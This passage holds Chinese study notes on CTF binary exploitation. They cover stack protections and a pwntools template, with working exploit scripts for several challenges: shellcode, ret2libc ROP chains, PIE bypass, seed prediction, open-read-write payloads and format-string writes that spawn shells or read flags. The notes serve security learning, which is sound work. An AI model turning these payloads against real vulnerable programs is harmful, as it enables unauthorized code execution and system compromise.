栈漏洞笔记
保护机制
NX(noexecstack;栈不可执行)
NX保护也叫栈不可执行保护,字面意思,就是在栈上不能执行机器码,也就是无法通过在栈上布置shellcode执行攻击。
由于目前的环境来说二进制漏洞中栈溢出漏洞的占比是最多的,而之前在没有NX保护时,只要往栈上写入一个shellcode并返回就能很容易且高效的拿到shell,导致了许多的安全漏洞,所以有了NX保护。
当操作系统加载一个ELF文件时,它会设置MMU中的相应位,标记数据段为不可执行。这样,即使恶意代码成功注入到数据段中,CPU也会拒绝在该段上执行代码。
PIE
PIE(Position Independent Executable)保护是一种用于防止恶意攻击的安全措施。它通过将可执行文件加载到内存时的地址随机化,使得攻击者无法准确预测代码和数据的位置,从而增加了攻击者对系统的攻击难度。
RELRO
RELRO(RELocation Read-Only)是一种用于增强程序安全性的保护机制。RELRO保护旨在防止攻击者利用动态链接器的一些漏洞来修改程序的全局偏移表(GOT)和过程链接表(PLT),从而执行恶意代码或者获取程序的控制权。
当RELRO
保护为NO RELRO
的时候,init.array、fini.array、got.plt
均可读可写;为PARTIAL RELRO
的时候,ini.array、fini.array
可读不可写,got.plt
可读可写;为FULL RELRO
时,init.array、fini.array、got.plt
均可读不可写。
canary
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary
汇编指令
- jne:jum if not equal if(a=b)
- jl:jump if less if(a>b)
- jg:jum if greater
- jle: jump if less equal (<=)
模板
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
file_name = "./pwn"
e = ELF(file_name)
lib = './'
select=0
if select == 0:
p=process(file_name)
libc = ELF(lib)
else:
p=remote('')
libc = ELF(lib)
def debug():
gdb.attach(p)
#gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
it()
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./pwn"
e = ELF(file_name)
lib = './'
select=0
if select == 0:
p=process(file_name)
libc = ELF(lib)
else:
p=remote('')
libc = ELF(lib)
def debug():
gdb.attach(p)
#gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
it()
小技巧
x64传参顺序
rdi rsi rdx r10 r8 r9
收地址
u64(ru(b'\x7f')[-6:].ljust(8,'\x00'))
u64(rc(6).ljust(8,b'\x00'))
%p:先收到0x,ru('0x'), addr=int(rc(12),16)或者int(rc(14),16)
canary=int(rc(20))
栈平衡
64位:返回地址末尾是8加ret
32位:
gdb.attach()
要加在send之前就能看到要发送的数据在栈上情况
send和sendline
scanf(),,gets()一定要sendline
fd指针规则
打开新文件时将赋予此文件的fd为从0开始没有用到的值,一般是3,这也是为什么orw是read第一个参数是3。
常见函数格式和作用
__isoc99_scanf
__isoc99_scanf("%d", &v6)
- 成功匹配
若输入为有效整数(如42
),返回1
,表示成功读取并赋值给变量v6
。 - 输入不匹配
若输入为非数字字符(如abc
),返回0
,表示未能成功匹配格式说明符%d
,且v6
的值保持不变。 - 文件结束或错误
若遇到输入流结束(如Ctrl+D
或Ctrl+Z
)或硬件错误,返回EOF
(通常为-1
)。
setvbuf
int setvbuf(FILE * stream,char * buf, int type, unsigned size);
参数:
-
stream为文件流指针,
-
buf为缓冲区首地址,
-
type为缓冲区类型
参数类型type说明如下:
- _IOFBF (满缓冲)0:Fully Buffered,当缓冲区为空时,从流读入数据。或当缓冲区满时,向流写入数据。在这种情况下当 stdard i/o 的缓存被填满的时候才会发生 i/o。操作磁盘上面的文件的时候使用的是这种类型的 buffer .
- _IOLBF (行缓冲)1:Line Buffered,每次从流中读入一行数据或向流中写入—行数据。在这种情况下,当输入或者输出的时候遇到了一个换行符号的时候才会发生 i/o .一般终端的标准输入和标准输出会用到这种类型的缓存。
- _IONBF (无缓冲)2:直接从流中读入数据或直接向流中写入数据,而没有缓冲区。
-
size为缓冲区内字节的数量。
-
返回值】成功返回0,失败返回非0。
open
open(文件名,0,0)
openat
openat(-100,0,'./flag',0),
payload = asm(shellcraft.openat(-100,"./flag",0))
sc = '''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall
'''
sendfile
sendfile(1,3,0,0x100)系统调用号0x28,r10=0x100
payload+=asm(shellcraft.sendfile(1,3,0,0x40))
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
mmap
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
参数解释:
-
addr
:指定映射区域的起始地址。如果这个参数为NULL
,系统会自动选择一个地址。 -
length
:指定要映射的内存大小。 -
prot
:指定映射区域的保护方式,可能的值包括:
PROT_READ
:映射区域可以被读取。PROT_WRITE
:映射区域可以被写入。PROT_EXEC
:映射区域中的代码可以被执行。PROT_NONE
:映射区域不能被访问。- 可以通过按位或(
|
)操作符组合以上值来设置多个保护方式。
-
flags
:指定映射区域的属性,可能的值包括:
MAP_SHARED
:多个进程可以访问同一个映射区域。MAP_PRIVATE
:映射区域的写操作不会影响到源文件。MAP_ANONYMOUS
:创建一个匿名映射区域,即不使用文件,只是映射一段匿名内存。MAP_FIXED
:强制将映射区域的起始地址映射到addr
指定的地址。如果地址不可用,函数会失败。MAP_GROWSDOWN
:仅对匿名映射有效,表示映射区域可以向下扩展。MAP_DENYWRITE
:如果映射区域被其他进程写入,则拒绝写入。MAP_LOCKED
:映射区域在映射后会被锁定,以提高内存访问的效率。MAP_NORESERVE
:允许映射区域即使没有足够的内存也可以映射。MAP_GROWSUP
:仅对匿名映射有效,表示映射区域可以向上扩展。- 可以通过按位或(
|
)操作符组合以上值来设置多个属性。
-
fd
:指定要映射的文件描述符,如果是匿名映射,则可以传递-1
。 -
offset
:指定文件映射的偏移量,如果是匿名映射,则可以传递0
。
返回值:
- 如果映射成功,
mmap()
函数返回一个指向映射区域的指针。 - 如果映射失败,
mmap()
函数返回MAP_FAILED
(在某些系统中可能返回(void *) -1
),并且设置errno
错误码。
fread
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
参数解释:
ptr
:指向内存缓冲区的指针,用于存储从文件中读取的数据。size
:指定每个元素的大小,以字节为单位。nmemb
:指定要读取的元素数量。stream
:指向FILE
结构的指针,指定要从中读取数据的文件。
返回值:
- 如果读取成功,
fread
函数返回实际读取的元素数量。 - 如果读取失败,返回值是 0,并且设置全局变量
errno
来指示错误类型。
fgetc
返回输入字符的Ascll码数字值
ret2shellcode
心得
1观察各个寄存器与目标地址差值,可以用sub得到目标地址,然后jmp。
源鲁 shortshell
题干
__int64 vuln()
{
mprotect(&dword_400000, 0x10000uLL, 7);
read(0, &buf, 5uLL);
return (buf)();
}
有backdoor函数,直接sys(binsh)
exp1
sys=0x401270#buf和sys差值0x2df9
buf=0x404069
shell = asm('''
jmp $-0x2df9
''')
#$是rax值
print('len is',len(shell))
debug()
sd(shell)
it()
xyctf intermitted
题干
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 i; // [rsp+0h] [rbp-120h]
void (*v5)(void); // [rsp+8h] [rbp-118h]
int buf[66]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+118h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = mmap(0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( v5 == -1LL )
{
puts("ERROR");
return 1;
}
else
{
write(1, "show your magic: ", 0x11uLL);
read(0, buf, 0x100uLL);
for ( i = 0LL; i <= 2; ++i )
*(v5 + 4 * i) = buf[i]; #v5被buf【】类型转换大小为int,v5后每加一个1,代表地址加4
v5();
return 0;
}
}
exp两种
用rep movsb指令 这个指令可以让rsi寄存器的地址开始rcx的字节数据赋值给rdi地址所
指的区域
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# context(os='linux', arch='amd64')
#context.terminal = ['byobu', 'sp', '-h']
file_name = "./vuln"
#url = ""
#port = 1111
elf = ELF(file_name)
p= process(file_name)
#p = gdb.debug(file_name,"b *main+273")
# p = remote(url,port)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
#gdb.attach(p)
ru(b"show your magic: ")
shellcode1 = b'\x52\x5F\xF3\xA4'
# nop指令不重要
#shellcode2 = b'\x90'*4
#shellcode3 = b'\x90'*4
shellcode = shellcode1+b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
shell=asm('''
push rdx
pop rdi
rep movsb byte ptr [rdi], byte ptr [rsi]
xor esi, esi
movabs rbx, 0x68732f2f6e69622f
push rsi
push rbx
push rsp
pop rdi
push 0x3b
pop rax
xor edx, edx
syscall
''' )
sd(shell)
ia()
###################################################
shell=asm('''
pop rbx
pop rax
ret
nop
pop rsi
pop rdx
syscall
''' )
shell=shell.ljust(0x10,b'\x00')
shell+=p64(0x114514010)
shell+=p64(0x114514014)+p64(0x100)
sd(shell)
sd(asm(shellcraft.sh()))
ia()
ret2libc
题目
buu jarvisoj_level5
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
write(1, "Input:\n", 7uLL);
return read(0, buf, 0x200uLL);
}
exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#context.update(arch='i386',os='linux',log_level='debug')
#context(os='linux', arch='amd64')
file_name = "./pwn"
e = ELF(file_name)
#p= process(file_name)
#libc = ELF('./')
p = remote('node5.buuoj.cn',28460)
def debug():
gdb.attach(p)
#gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
rdi=0x4006b3
rsi_r15=0x4006b1
write_got=e.got['write']
write_plt=e.plt['write']
vuln=0x4005E6
pa=b'a'*(0x80+8)+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(vuln)
sd(pa)
ru('Input:\n')
write_addr = u64(rc(6).ljust(8,b'\x00'))
print('write:'+hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
sys_add = libc_base + libc.dump('system')
binsh_add =libc_base+libc.dump('str_bin_sh')
pa=b'a'*(0x80+8)+p64(rdi)+p64(binsh_add)+p64(sys_add)
sd(pa)
it()
PIE绕过
PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。
pwn学习-pie绕过 - Junglezt - 博客园 (cnblogs.com)
basectf pie
开启了pie后,libc的低12位是不变的,main函数执行完后会跳转到libc_start_main + 128,然后执行里面的exit,printf(%s)会把libc start main的地址泄露出来,如果能在libc start main找到一段可以重新执行main函数的magic gadget就好了。由于pie的性质,也就是在libc start main + 128 近地址去找这样的gadget,在 \x89的位置有这样一段magic gadget可以重启main函数
# .text:0000000000029D89 48 8B 44 24 08 mov rax, [rsp+98h+var_90]
# .text:0000000000029D8E FF D0 call rax
在执行到leval ret的时候,此时的栈布局是这样的,这段magic gadget可以把栈上的main地址取出来然后call,这样就能实现重启一次main函数,再用printf泄露出来的libc地址算出libc基地址后,再拿libc里的system和binsh执行就好了
────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────
0x555555555231 <main+67> mov rdi, rax
0x555555555234 <main+70> mov eax, 0
0x555555555239 <main+75> call printf@plt <printf@plt>
0x55555555523e <main+80> mov eax, 0
0x555555555243 <main+85> leave
► 0x555555555244 <main+86> ret <0x7ffff7c29d90; __libc_start_call_main+128>
↓
0x7ffff7c29d90 <__libc_start_call_main+128> mov edi, eax
0x7ffff7c29d92 <__libc_start_call_main+130> call exit <exit>
0x7ffff7c29d97 <__libc_start_call_main+135> call __nptl_deallocate_tsd <__nptl_deallocate_tsd>
0x7ffff7c29d9c <__libc_start_call_main+140> lock dec dword ptr [rip + 0x1f0505] <__nptl_nthreads>
0x7ffff7c29da3 <__libc_start_call_main+147> sete al
─────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe128 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
01:0008│ 0x7fffffffe130 ◂— 0x0
02:0010│ 0x7fffffffe138 —▸ 0x5555555551ee (main) ◂— endbr64
03:0018│ 0x7fffffffe140 ◂— 0x1ffffe220
04:0020│ 0x7fffffffe148 —▸ 0x7fffffffe238 —▸ 0x7fffffffe51c ◂— '/home/lhj/Desktop/chuti/basectf/pwn/PIE/vuln'
05:0028│ 0x7fffffffe150 ◂— 0x0
06:0030│ 0x7fffffffe158 ◂— 0x4958b3e48fce99
07:0038│ 0x7fffffffe160 —▸ 0x7fffffffe238 —▸ 0x7fffffffe51c ◂— '/home/lhj/Desktop/chuti/basectf/pwn/PIE/vuln'
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = b"a" * 0x108 + b'\x89'
# .text:0000000000029D89 48 8B 44 24 08 mov rax, [rsp+98h+var_90]
# .text:0000000000029D8E FF D0 call rax
# g(p)
s(payload)
ru(b"a" * 0x108)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x72c545629d89 - 0x72c545600000)
success(hex(libc_base))
pop_rdi_ret = libc_base + 0x000000000002a3e5
xor_rax_rax_ret = libc_base + 0x00000000000baaf9
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = b"a" * 0x108 + p64(pop_rdi_ret) + p64(binsh) + p64(xor_rax_rax_ret) + p64(system)
s(payload)
# g(p)
p.interactive()
伪随机数绕过
srand()/rand():
rand()函数是使用线性同余法做的,它并不是真的随机数,因为其周期特别长,所以在一定范围内可以看成随机的。
srand()为初始化随机数发生器,用于设置rand()产生随机数时的种子。传入的参数seed为unsigned int类型,通常我们会使用time(0)或time(NULL)的返回值作为seed。
绕过工具:
一个新的python库(人生苦短,我用python),ctypes。。
from ctypes import * 使用cdll = CDLL('./libc.so.6')代替以前的ELF('')即可,调用动态库的函数。
强网拟态_sign
题干
void auth()
{
int v0; // [rsp+4h] [rbp-1Ch] BYREF
char buf[10]; // [rsp+Ah] [rbp-16h] BYREF
int v2; // [rsp+14h] [rbp-Ch]
unsigned int seed; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]
seed = time(0LL);
read(0, buf, 0x12uLL);
printf("User Name,%s", buf);
srand(seed);
for ( i = 0; i <= 99; ++i )
{
v2 = rand() % 100 + 1;
v0 = 0;
puts("Input the authentication code:");
read(0, &v0, 8uLL);
if ( v2 != v0 )
{
puts("wrong!");
exit(0);
}
}
}
exp
解法一:shellcraft
from pwn import *
from ctypes import *
io = process('./vuln')
elf = ELF('./vuln')
context(log_level='debug',arch='amd64',os='linux')
libc = ELF('./libc.so.6')
io.send(b'\x00'*0x12)#seed覆盖为0
cdll = CDLL('./libc.so.6')
cdll.srand(0)
for i in range(100):
io.recvuntil('Input the authentication code:\n')
io.send(p64(cdll.rand()%100+1))
io.recvuntil(b'>> \n')
io.send(p32(1))
io.recvuntil(b'Index: ')
io.send(p32(1))
io.recvuntil(b'Note: ')
io.send(b'a'*0x100)
pop_rdi = 0x401893
fake_rbp = 0x4042A0
io.send(b'a'*0x100 + p64(fake_rbp) + p64(pop_rdi) + p64(elf.got['read']) + p64(elf.sym["puts"]) + p64(0x4013CF))
io.recvuntil(b'\x0a')
libcbase = u64(io.recv(6).ljust(8,b'\x00'))-libc.sym["read"]
pop_rdi = libcbase+libc.search(asm("pop rdi\nret")).__next__()
pop_rsi = libcbase+libc.search(asm("pop rsi\nret")).__next__()
pop_rdx_r12 = libcbase+libc.search(asm("pop rdx\npop r12\nret")).__next__()
mprotect = libcbase + libc.sym['mprotect'] #开了nx保护用mprotect写shellcode
payload = b'b'*0x108 + p64(pop_rdx_r12)+p64(0x700) + p64(0) + p64(elf.plt['read'])
io.send(payload)
payload = b'a'*0x128
payload += p64(pop_rdi) + p64(fake_rbp&0xfff000) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx_r12) + p64(7)*2 + p64(mprotect)
payload += p64(fake_rbp+0x70)
payload +=asm(shellcraft.open("/flag")+shellcraft.read(3,fake_rbp+0x200,0x50)+shellcraft.write(1,fake_rbp+0x200,0x50))
io.send(payload)
io.interactive()
解法二 正常orw
from pwn import *
from ctypes import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
# p=remote("pwn-9ee767695b.challenge.xctf.org.cn", 9999, ssl=True)
elf = ELF('./pwn')
libc = ELF('libc.so.6')
#gdb.attach(p,'b *0x4014b1')
s(b'a'*0x12)
from ctypes import *
cdll=CDLL('libc.so.6')
cdll.srand(1633771873)
for i in range(100):
sa('Input the authentication code:\n',p64(cdll.rand()%100+1))
pop_rdi = 0x0000000000401893
ret = 0x000000000040101a
#debug('b *0x4012a0')
#p.interactive()
#gdb.attach(p,'b *0x4013c0')
sa(b'>> \n',p32(1))
sa(b'Index: ',p32(1))
sa(b'Note: ',b'a'*8)
s(b'a'*0x100+p64(0x404000+0x100) + p64(pop_rdi) + p64(elf.got['read']) + p64(elf.sym["puts"]) + p64(0x4013C0))
p.recv(1)
libc_base = uu64()-libc.sym["read"]
system, binsh = get_sb()
lg('libc_base',libc_base)
rax = libc_base + 0x0000000000036174
syscall = libc_base + next(libc.search(asm('syscall; ret;')))
rdi = libc_base + 0x0000000000023b6a
rsi = libc_base +0x000000000002601f
rdx_r12 = libc_base +0x0000000000119211
mprotect = libc_base + libc.sym['mprotect']
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
buf = 0x4040D0
flag = 0x4042a0
payload = b'b'*0x108
# write flag
payload += p64(rdx_r12)+p64(0x300)+p64(0) + p64(read)
print(hex(len(payload)))
r()
s(payload)
payload = b'a'*0x128
# read flag -> buf
payload += p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx_r12) + p64(8)*2 + p64(read)
# open flag
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(open_)
# read flag
payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx_r12) + p64(0x30)*2 + p64(read)
# write flag
payload += p64(rdi) + p64(1) + p64(write)
s(payload)
sleep(1)
s(b'flag')
#()
inter()
泄露栈地址
1.hnctf pwn
题干
int vul()
{
char s[40]; // [esp+0h] [ebp-2Ch] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context.update(arch='i386',os='linux',log_level='debug')
#r = process("./pwn")
r = remote('hnctf.imxbt.cn',26176)
e = ELF("./pwn")
#gdb.attach(r)
sys=e.plt['system']
p=b'a'*0x1f+b'b'
r.send(p)
r.recvuntil("b")
stack=u32(r.recv(4))-0xd4+12
print(hex(stack))
p=b'b'*4+p32(sys)+b'a'*4+p32(stack-0x1c)+b'/bin/sh\x00'
p=p.ljust(0x2c,b'a')+p32(stack-0x2c)
r.send(p)
r.interactive()
格式化字符串
fmtarg命令
fmtarg +栈上地址
回显此地址是%n$p
由于64位程序会把一部分参数压入六个寄存器中,之后再往栈中压入,所以输出的位置会靠后。
经过尝试%15$p、%19$p就是要泄露的libc_start_main和main的位置。
泄露canary类
-
bjdctf_2020_babyrop2-fmt-leak canary
题干
1 unsigned __int64 gift() { char format[8]; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("I'll give u some gift to help u!"); __isoc99_scanf("%6s", format); printf(format); puts(byte_400A05); fflush(0LL); return __readfsqword(0x28u) ^ v2; } 2 unsigned __int64 vuln() { char buf[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v2; // [rsp+18h] [rbp-8h] //canary在rbp-8 v2 = __readfsqword(0x28u); puts("Pull up your sword and tell me u story!"); read(0, buf, 0x64uLL); return __readfsqword(0x28u) ^ v2; }
exp
from pwn import * from LibcSearcher import * context.log_level = 'debug' #context(arch='amd64', os='linux', log_level='debug') p = remote('node5.buuoj.cn',29045) e = ELF('./bjdctf_2020_babyrop2') put_plt=e.plt['puts'] put_got=e.got['puts'] rdi=0x0400993 vuln=0x400887 p1 = '%7$p'# p.sendline(p1) p.recvuntil('0x') canary = int(p.recv(16), 16) #以16进制为底,转化为整数。canary长为16,加上\n payload = p64(canary) payload = payload.rjust(0x20,b'a')+b'a'*8+p64(rdi)+p64(put_got)+p64(put_plt)+p64(vuln) p.sendlineafter(b'story!\n',payload) put_addr=u64(p.recv(6).ljust(8,b'\x00')) libc=LibcSearcher('puts',put_addr) libcbase=put_addr-libc.dump("puts") system_addr=libcbase+libc.dump("system") binsh_addr=libcbase+libc.dump("str_bin_sh") payload = p64(canary) payload = payload.rjust(0x20,b'a')+b'a'*8+p64(rdi)+p64(binsh_addr)+p64(system_addr)+p64(vuln) p.sendlineafter('story!\n',payload) p.interactive()
无printf(仅利用scanf的格式化字符串)
1.xyctf fmt
题干
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init();
printf("Welcome to xyctf, this is a gift: %p\n", &printf);
read(0, buf1, 0x20uLL);
__isoc99_scanf(buf1);
printf("show your magic");
return 0;
}
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "./vuln"
io = process(filename)
e = ELF(filename)
libc = ELF('./libc-2.31.so')
ld=ELF('./ld-2.31.so')
io.recvuntil(b"gift: ")
printf_addr=int(io.recv(14),16)
base = printf_addr - libc.sym['printf']
#print(hex(printf_addr))
backdoor=0x4012c2
exit_hook_addr = base+0x1f4000+ld.sym["_rtld_global"]+3848
print(hex(ld.sym["_rtld_global"]))
payload=b'%8$s'
payload = payload.ljust(0x10,b'\x00') + p64(exit_hook_addr) #p64hook就是%8
io.recvuntil(b'\n')
#gdb.attach(io)
io.send(payload)
payload = p64(backdoor) #scanf的格式化字符串,直接写入第8个参数
#gdb.attach(i)
io.sendline(payload)
io.interactive()
修改内存类
%x$hn
要注意二级跳跃见第一题。hhn写入1字节,hn写入2字节,n写入4字节
题干buu spring bord
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]
myinit(argc, argv, envp);
puts("Life is not boring, dreams are not out of reach.");
puts("Sometimes you just need a springboard.");
puts("Then you can see a wider world.");
puts("There may be setbacks along the way.");
puts("But keep your love of life alive.");
puts("I believe that you will succeed.");
puts("Good luck.");
putchar(10);
puts("Here's a simple pwn question, challenge yourself.");
for ( i = 0; i <= 4; ++i )
{
puts("You have an 5 chances to get a flag");
printf("This is the %d time\n", (unsigned int)(i + 1));
puts("Please enter a keyword");
read(0, bss, 0x40uLL);
printf(bss);
}
return 0;
}
exp
sa('Please enter a keyword\n',b'%11$p%9$p')
ret_add=addr=int(rc(14),16)-224
base=int(rc(14),16)-0x20840
print('base=='+hex(base))
print('ret=='+hex(ret_add))
ogg=0xf1247+base
#&ffff是什么意思
#&操作如果二进制相应的位都是1,则结果的相应位也是1。如果任一相应的位是0,则结果的相应位是0。
#0xffff是一个十六进制的表示,等同于十进制的65535,其二进制形式为1111 1111 1111 1111
debug()
sa('Please enter a keyword\n','%{}c%11$hn'.format(ret_add&0xffff).encode()) #相当于%57464c%11$hn
sa('Please enter a keyword\n','%{}c%37$hn'.format(ogg&0xffff).encode())
# debug()
sa('Please enter a keyword\n','%{}c%11$hn'.format((ret_add+2)&0xffff).encode())#改ebp二次跳跃处地址+2以修改第五位
sa('Please enter a keyword\n','%{}c%37$hhn'.format(ogg>>16&0xff).encode())#>>16 是将目标的二进制左移16位,即去掉2字节(左移是因为数据在栈上是倒着存的,相对于正常人类读的方向)
it()
第二个sa之前的栈结构
第四次sa前
pwn5
题干
int __cdecl main(int a1)
{
unsigned int v1; // eax`
int result; // eax`
int fd; // [esp+0h] [ebp-84h]`
char nptr[16]; // [esp+4h] [ebp-80h] BYREF`
char buf[100]; // [esp+14h] [ebp-70h] BYREF`
unsigned int v6; // [esp+78h] [ebp-Ch]`
int *v7; // [esp+7Ch] [ebp-8h]`
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )//atoi函数将字符串转换为整数
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
exp
from pwn import *
io = remote("node5.buuoj.cn",29170)
target = 0x804C044 //将要覆盖的dword_804C044的地址
payload = p32(target) +b'%10$n'//修改后值为4
io.recvuntil("name:")
io.sendline(payload)
io.sendafter("passwd:",b'4')
io.interactive()
ciscn_2019_sw_1 :改fini.array
根据本题,学习与收获有:
- 当
RELRO
保护为NO RELRO
的时候,init.array、fini.array、got.plt
均可读可写;为PARTIAL RELRO
的时候,ini.array、fini.array
可读不可写,got.plt
可读可写;为FULL RELRO
时,init.array、fini.array、got.plt
均可读不可写。 - 程序在加载的时候,会依次调用
init.array
数组中的每一个函数指针,在结束的时候,依次调用fini.array
中的每一个函数指针 - 当程序出现格式化字符串漏洞,但是需要写两次才能完成攻击,这个时候可以考虑改写
fini.array
中的函数指针为main
函数地址,可以再执行一次main
函数。一般来说,这个数组的长度为1
,也就是说只能写一个地址。
23强网,fmt(给了buf地址,二级跳跃)
int __fastcall main(int argc, const char **argv, const char **envp)
{
